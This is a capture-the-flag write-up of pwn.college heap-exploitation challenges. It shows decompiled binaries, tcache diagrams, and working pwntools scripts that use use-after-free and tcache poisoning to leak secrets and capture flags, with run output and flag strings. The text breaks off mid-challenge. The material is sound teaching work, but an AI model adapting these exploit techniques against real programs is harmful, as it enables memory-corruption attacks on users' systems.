| TCACHE BIN #55 | SIZE: 889 - 904 | COUNT: 2 | HEAD: 0x644fee8f22c0 | KEY: 0x644fee8f2010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x644fee8f22c0 | 0 | 0x391 (P) | 0x644fee8f2650 | 0x644fee8f2010 |
| 0x644fee8f2650 | 0 | 0x391 (P) | (nil) | 0x644fee8f2010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): read_flag
[*] flag_buffer = malloc(896)
[*] flag_buffer = 0x644fee8f22c0
[*] read the flag!
+====================+========================+==============+============================+============================+
| TCACHE BIN #55 | SIZE: 889 - 904 | COUNT: 1 | HEAD: 0x644fee8f2650 | KEY: 0x644fee8f2010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x644fee8f2650 | 0 | 0x391 (P) | (nil) | 0x644fee8f2010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): free
Index: 0
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #55 | SIZE: 889 - 904 | COUNT: 2 | HEAD: 0x644fee8f22c0 | KEY: 0x644fee8f2010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x644fee8f22c0 | 0 | 0x391 (P) | 0x644fee8f2650 | 0x644fee8f2010 |
| 0x644fee8f2650 | 0 | 0x391 (P) | (nil) | 0x644fee8f2010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): puts_flag
pwn.college{YaCr8LqQNO7XOxRVrb2l58ayfLL.0VO3MDL4ITM0EzW}
+====================+========================+==============+============================+============================+
| TCACHE BIN #55 | SIZE: 889 - 904 | COUNT: 2 | HEAD: 0x644fee8f22c0 | KEY: 0x644fee8f2010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x644fee8f22c0 | 0 | 0x391 (P) | 0x644fee8f2650 | 0x644fee8f2010 |
| 0x644fee8f2650 | 0 | 0x391 (P) | (nil) | 0x644fee8f2010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): quit
### Goodbye!
Malloc Mirage (Hard)
hacker@dynamic-allocator-misuse~malloc-mirage-hard:/$ /challenge/malloc-mirage-hard
###
### Welcome to /challenge/malloc-mirage-hard!
###
[*] Function (malloc/free/puts/read_flag/puts_flag/quit):
We need to figure out the following in order to solve the hard version.
- Size of memory allocation into which the flag is read
Binary analysis
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int i; // [rsp+24h] [rbp-13Ch]
unsigned int v6; // [rsp+28h] [rbp-138h]
unsigned int v7; // [rsp+28h] [rbp-138h]
unsigned int v8; // [rsp+28h] [rbp-138h]
unsigned int size; // [rsp+2Ch] [rbp-134h]
const char *size_4; // [rsp+30h] [rbp-130h]
void *ptr[16]; // [rsp+40h] [rbp-120h] BYREF
char choice[136]; // [rsp+C0h] [rbp-A0h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-18h]
v13 = __readfsqword(40u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(byte_2020);
printf("[*] Function (malloc/free/puts/read_flag/puts_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
v6 = atoi(choice);
if ( v6 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 66u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
size = atoi(choice);
ptr[v6] = malloc(size);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
v7 = atoi(choice);
if ( v7 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 82u, "main");
free(ptr[v7]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
v8 = atoi(choice);
if ( v8 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 94u, "main");
printf("Data: ");
puts((const char *)ptr[v8]);
}
if ( strcmp(choice, "read_flag") )
break;
for ( i = 0; i <= 0; ++i )
{
size_4 = (const char *)malloc(784uLL);
*(_QWORD *)size_4 = 0LL;
}
v3 = open("/flag", 0);
read(v3, (void *)(size_4 + 16), 128uLL);
}
if ( strcmp(choice, "puts_flag") )
break;
if ( *(_QWORD *)size_4 )
puts(size_4 + 16);
else
puts("Not authorized!");
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
- Size of memory allocation into which the flag is read:
784
Exploit
hacker@dynamic-allocator-misuse~malloc-mirage-hard:/$ /challenge/malloc-mirage-hard
###
### Welcome to /challenge/malloc-mirage-hard!
###
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): malloc
Index: 0
Size: 784
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): malloc
Index: 1
Size: 784
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): free
Index: 1
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): free
Index: 0
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): read_flag
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): free
Index: 0
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): puts_flag
pwn.college{knO2mcRxdTIDye38lEOhpvy9MXg.0FM4MDL4ITM0EzW}
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): quit
### Goodbye!
Seeking Secrets (Easy)
hacker@dynamic-allocator-misuse~seeking-secrets-easy:/$ /challenge/seeking-secrets-easy
###
### Welcome to /challenge/seeking-secrets-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
In this challenge, there is a secret stored at 0x423266.
If you can leak out this secret, you can redeem it for the flag.
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Lets look at the decompiled code in order to figure out the functionality of the challenge.
Binary analysis
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v4; // eax
int i; // [rsp+2Ch] [rbp-124h]
unsigned int v7; // [rsp+30h] [rbp-120h]
unsigned int v8; // [rsp+30h] [rbp-120h]
unsigned int v9; // [rsp+30h] [rbp-120h]
unsigned int v10; // [rsp+30h] [rbp-120h]
unsigned int size; // [rsp+34h] [rbp-11Ch]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char choice[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v14; // [rsp+148h] [rbp-8h]
v14 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
for ( i = 0; i <= 7; ++i )
byte_423266[i] = rand() % 26 + 97;
puts(
"This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of");
puts("challenges, you will become familiar with the concept of heap exploitation.\n");
printf("This challenge can manage up to %d unique allocations.\n\n", 16LL);
printf("In this challenge, there is a secret stored at %p.\n", byte_423266);
puts("If you can leak out this secret, you can redeem it for the flag.\n");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_tcache(main_thread_tcache);
puts(byte_4035BA);
printf("[*] Function (malloc/free/puts/scanf/send_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
v7 = atoi(choice);
if ( v7 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 279u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
size = atoi(choice);
printf("[*] allocations[%d] = malloc(%d)\n", v7, size);
ptr[v7] = malloc(size);
printf("[*] allocations[%d] = %p\n", v7, ptr[v7]);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
v8 = atoi(choice);
if ( v8 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 297u, "main");
printf("[*] free(allocations[%d])\n", v8);
free(ptr[v8]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
v9 = atoi(choice);
if ( v9 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 0x136u, "main");
printf("[*] puts(allocations[%d])\n", v9);
printf("Data: ");
puts((const char *)ptr[v9]);
}
if ( strcmp(choice, "scanf") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
v10 = atoi(choice);
if ( v10 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 323u, "main");
v3 = malloc_usable_size(ptr[v10]);
sprintf(choice, "%%%us", v3);
v4 = malloc_usable_size(ptr[v10]);
printf("[*] scanf(\"%%%us\", allocations[%d])\n", v4, v10);
__isoc99_scanf(choice, ptr[v10]);
puts(byte_4035BA);
}
if ( strcmp(choice, "send_flag") )
break;
printf("Secret: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
if ( !memcmp(choice, byte_423266, 8uLL) )
{
puts("Authorized!");
win();
}
else
{
puts("Not authorized!");
}
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
So the secret is kept at a location in memory, which we have to read from and pass to the send_flag.
Polluting tcache_entry struct
Let's say we allocate two chunks A, B of memory and then free them. It would look something as follows:
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 2 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &B │ ────╮
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry B ┆
├──────────────────┤
│ next: NULL │
├──────────────────┤
│ key: Void │
└──────────────────┘
Then we use the scanf command and read to the index of the first allocation A using the hanging pointer. The first 8 bytes at that location would hold the next pointer which would point to B.
We can overwrite this with the address of the secret.
This would cause the chunk B to be removed from the singly-linked list, and the memory at the secret address would take it's place.
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 2 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &SECRET │ ────╮
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
│
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐ │
┆ tcache_entry B ┆ │
├──────────────────┤ │
│ next: NULL │ │
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ SECRET ┆
├──────────────────┤
│ next: secret │
├──────────────────┤
│ key: .... │
└──────────────────┘
Now, if we allocate two chunks again of the same size, the chunk A and SECRET would be allocated because to tcache_perthread_struct, those are the two free chunks. And the first 8 bytes of the SECRET chunk would hold the secret value.
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_128: 0 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_128: secret[:8] ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ .............. │
├──────────────────┤
│ NULL │
└──────────────────┘
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ SECRET ┆
├──────────────────┤
│ secret[:8] │
├──────────────────┤
│ NULL │
└──────────────────┘
We just have to call puts on this chunk and get the value.
Exploit
from pwn import *
p = process("/challenge/seeking-secrets-easy", level='error')
# 1. Capture the target address
p.recvuntil(b"secret stored at ")
addr_hex = p.recvuntil(b".").strip(b".").decode()
secret_addr = int(addr_hex, 16)
print(f"[*] Target Secret Address: {hex(secret_addr)}")
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"free")
p.sendline(b"1")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(secret_addr))
print(p.recvuntil(b"quit):").decode())
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"puts")
p.sendline(b"1")
leak_text = p.recvuntil(b"Data: ").decode()
secret = p.recvline().strip().decode()
print(f"{leak_text}{secret}")
p.sendline(b"send_flag")
p.sendline(secret.encode())
print(p.recvuntil(b"}").decode())
hacker@dynamic-allocator-misuse~seeking-secrets-easy:/$ python ~/script.py
###
### Welcome to /challenge/seeking-secrets-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
In this challenge, there is a secret stored at 0x423266.
If you can leak out this secret, you can redeem it for the flag.
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[0] = malloc(128)
[*] allocations[0] = 0x17e5f2c0
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[1] = malloc(128)
[*] allocations[1] = 0x17e5f350
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] free(allocations[1])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x17e5f350 | KEY: 0x17e5f010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x17e5f350 | 0 | 0x91 (P) | (nil) | 0x17e5f010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 2 | HEAD: 0x17e5f2c0 | KEY: 0x17e5f010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x17e5f2c0 | 0 | 0x91 (P) | 0x17e5f350 | 0x17e5f010 |
| 0x17e5f350 | 0 | 0x91 (P) | (nil) | 0x17e5f010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] scanf("%136s", allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 2 | HEAD: 0x17e5f2c0 | KEY: 0x17e5f010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x17e5f2c0 | 0 | 0x91 (P) | 0x423266 | 0x17e5f000 |
| 0x423266 | 0 | 0 (NONE) | 0x68677a7072687266 | (nil) |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[0] = malloc(128)
[*] allocations[0] = 0x17e5f2c0
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x423266 | KEY: 0x17e5f010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x423266 | 0 | 0 (NONE) | 0x68677a7072687266 | (nil) |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[1] = malloc(128)
[*] allocations[1] = 0x423266
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] puts(allocations[1])
Data: frhrpzgh
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Secret:
Authorized!
You win! Here is your flag:
pwn.college{0jM840YHF5jL79Sl0oYvY6T92Nt.0VM4MDL4ITM0EzW}
Seeking Secrets (Hard)
hacker@dynamic-allocator-misuse~seeking-secrets-hard:~$ /challenge/seeking-secrets-hard
###
### Welcome to /challenge/seeking-secrets-hard!
###
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Binary analysis
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int i; // [rsp+2Ch] [rbp-124h]
unsigned int v6; // [rsp+30h] [rbp-120h]
unsigned int v7; // [rsp+30h] [rbp-120h]
unsigned int v8; // [rsp+30h] [rbp-120h]
unsigned int v9; // [rsp+30h] [rbp-120h]
unsigned int size; // [rsp+34h] [rbp-11Ch]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char choice[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-8h]
v13 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
for ( i = 0; i <= 7; ++i )
byte_422961[i] = rand() % 26 + 97;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(byte_40214C);
printf("[*] Function (malloc/free/puts/scanf/send_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v6 = atoi(choice);
if ( v6 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 114u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
size = atoi(choice);
ptr[v6] = malloc(size);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v7 = atoi(choice);
if ( v7 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 130u, "main");
free(ptr[v7]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v8 = atoi(choice);
if ( v8 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 142u, "main");
printf("Data: ");
puts((const char *)ptr[v8]);
}
if ( strcmp(choice, "scanf") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v9 = atoi(choice);
if ( v9 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 154u, "main");
v3 = malloc_usable_size(ptr[v9]);
sprintf(choice, "%%%us", v3);
__isoc99_scanf(choice, ptr[v9]);
puts(byte_40214C);
}
if ( strcmp(choice, "send_flag") )
break;
printf("Secret: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
if ( !memcmp(choice, byte_422961, 8uLL) )
{
puts("Authorized!");
win();
}
else
{
puts("Not authorized!");
}
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
The solution for this level remains the same as the easy one.
Exploit
from pwn import *
p = process("/challenge/seeking-secrets-hard", level='error')
secret_addr = 0x422961
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"free")
p.sendline(b"1")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(secret_addr))
print(p.recvuntil(b"quit):").decode())
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"puts")
p.sendline(b"1")
p.recvuntil(b"Data: ")
secret = p.recvline().strip().decode()
print(f"[*] leaked Secret: {secret}")
p.sendline(b"send_flag")
p.sendline(secret.encode())
print(p.recvuntil(b"}").decode())
hacker@dynamic-allocator-misuse~seeking-secrets-hard:/$ python ~/script.py
###
### Welcome to /challenge/seeking-secrets-hard!
###
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
[*] leaked Secret: ipubljho
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Secret:
Authorized!
You win! Here is your flag:
pwn.college{smCm7JHRquJbXskS-KlEMuZeUe5.0lM4MDL4ITM0EzW}
Seeking Substantial Secrets (Easy)
hacker@dynamic-allocator-misuse~seeking-substantial-secrets-easy:/$ /challenge/seeking-substantial-secrets-easy
###
### Welcome to /challenge/seeking-substantial-secrets-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
In this challenge, there is a secret stored at 0x429964.
If you can leak out this secret, you can redeem it for the flag.
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Binary analysis
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v4; // eax
int i; // [rsp+2Ch] [rbp-124h]
unsigned int v7; // [rsp+30h] [rbp-120h]
unsigned int v8; // [rsp+30h] [rbp-120h]
unsigned int v9; // [rsp+30h] [rbp-120h]
unsigned int v10; // [rsp+30h] [rbp-120h]
unsigned int size; // [rsp+34h] [rbp-11Ch]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char choice[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v14; // [rsp+148h] [rbp-8h]
v14 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
for ( i = 0; i <= 15; ++i )
byte_429964[i] = rand() % 26 + 97;
puts(
"This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of");
puts("challenges, you will become familiar with the concept of heap exploitation.\n");
printf("This challenge can manage up to %d unique allocations.\n\n", 16LL);
printf("In this challenge, there is a secret stored at %p.\n", byte_429964);
puts("If you can leak out this secret, you can redeem it for the flag.\n");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_tcache(main_thread_tcache);
puts(byte_4035BA);
printf("[*] Function (malloc/free/puts/scanf/send_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
v7 = atoi(choice);
if ( v7 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 0x117u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
size = atoi(choice);
printf("[*] allocations[%d] = malloc(%d)\n", v7, size);
ptr[v7] = malloc(size);
printf("[*] allocations[%d] = %p\n", v7, ptr[v7]);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
v8 = atoi(choice);
if ( v8 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 0x129u, "main");
printf("[*] free(allocations[%d])\n", v8);
free(ptr[v8]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
v9 = atoi(choice);
if ( v9 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 0x136u, "main");
printf("[*] puts(allocations[%d])\n", v9);
printf("Data: ");
puts((const char *)ptr[v9]);
}
if ( strcmp(choice, "scanf") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
v10 = atoi(choice);
if ( v10 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 0x143u, "main");
v3 = malloc_usable_size(ptr[v10]);
sprintf(choice, "%%%us", v3);
v4 = malloc_usable_size(ptr[v10]);
printf("[*] scanf(\"%%%us\", allocations[%d])\n", v4, v10);
__isoc99_scanf(choice, ptr[v10]);
puts(byte_4035BA);
}
if ( strcmp(choice, "send_flag") )
break;
printf("Secret: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
if ( !memcmp(choice, byte_429964, 16uLL) )
{
puts("Authorized!");
win();
}
else
